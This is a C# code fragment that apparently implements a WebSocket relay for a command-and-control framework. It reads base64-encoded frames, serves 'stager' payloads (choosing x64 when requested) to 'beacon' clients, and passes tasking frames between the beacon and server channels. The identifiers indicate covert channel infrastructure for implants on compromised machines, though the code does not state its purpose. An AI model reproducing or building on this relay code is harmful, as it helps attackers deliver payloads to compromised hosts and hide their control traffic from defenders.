private async Task <WebSocketFrame> ReadMessageAsync()
{
if (_client.State != WebSocketState.Open)
{
throw new Exception("Web Socket not connected..."); // Might need reconnect logic here
}
var buffer = new byte[MaxBufferSize];
var b64Str = new StringBuilder();
WebSocketReceiveResult result;
do
{
result = await _client.ReceiveAsync(new ArraySegment <byte>(buffer), CancellationToken.None);
if (result.MessageType == WebSocketMessageType.Close)
{
await _client.CloseAsync(WebSocketCloseStatus.NormalClosure, string.Empty,
CancellationToken.None);
}
else
{
b64Str.Append(Encoding.UTF8.GetString(buffer, 0, result.Count));
}
} while (!result.EndOfMessage);
return(WebSocketFrame.Decode(b64Str.ToString()));
}
/// <summary>
/// Receives the asynchronous.
/// </summary>
/// <param name="socket">The socket.</param>
/// <param name="result">The result.</param>
/// <param name="buffer">The buffer.</param>
/// <returns></returns>
public override async Task ReceiveAsync(WebSocket socket, WebSocketReceiveResult result, byte[] buffer)
{
var beaconId = WebSocketManager.GetId(socket);
var frame = WebSocketFrame.Decode(Encoding.UTF8.GetString(buffer));
switch (frame.Type)
{
case FrameType.Connect:
case FrameType.ToBeacon:
Console.WriteLine("Server doesn't need to handle Connect/ToBeacon frames");
break;
case FrameType.Stager:
// Get stager from server channel
var stager = GetStager(beaconId, frame.Buffer[0] == 0x64);
var stageFrame = new WebSocketFrame(FrameType.Stager, beaconId.InternalId, stager);
// Send stager to beacon channel
await SendMessageAsync(beaconId, stageFrame.Encode());
break;
case FrameType.ToServer:
// Send frame to server channel
SendFrame(beaconId, frame.Buffer);
// Read frame from server channel
var respFrame = new WebSocketFrame(FrameType.ToBeacon, beaconId.InternalId, ReadFrame(beaconId));
// Send frame to beacon channel
await SendMessageAsync(beaconId, respFrame.Encode());
break;
default:
Console.WriteLine("Unknown frame type...");
break;
}
}
